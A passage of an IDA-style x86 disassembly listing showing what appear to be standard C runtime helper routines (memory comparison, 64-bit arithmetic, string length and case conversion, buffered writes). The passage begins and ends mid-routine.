

loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD3FC
		call	sub_422EA8
		mov	edx, dword_4DD3FC
		pop	ecx
		mov	ecx, dword_4DD3F8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD3FC
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD3F8
		sub	ecx, dword_4DD3FC
		mov	dword_4DD3FC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD3F8, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD3F8, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD3FC, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD3FC
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD3FC
		mov	dword_4DD3F8, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBE2C, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26904CBh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 2680E92h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBE2C, 0Dh
		mov	dword_4DBE30, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBED4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBED4
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D0D4, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CEC8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D0D4, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CEC8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBED4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D0D4, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CEC8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBED4
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBED4, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBEE4
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 2680E92h
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBE2C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CEC8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBEE4
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBED4, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
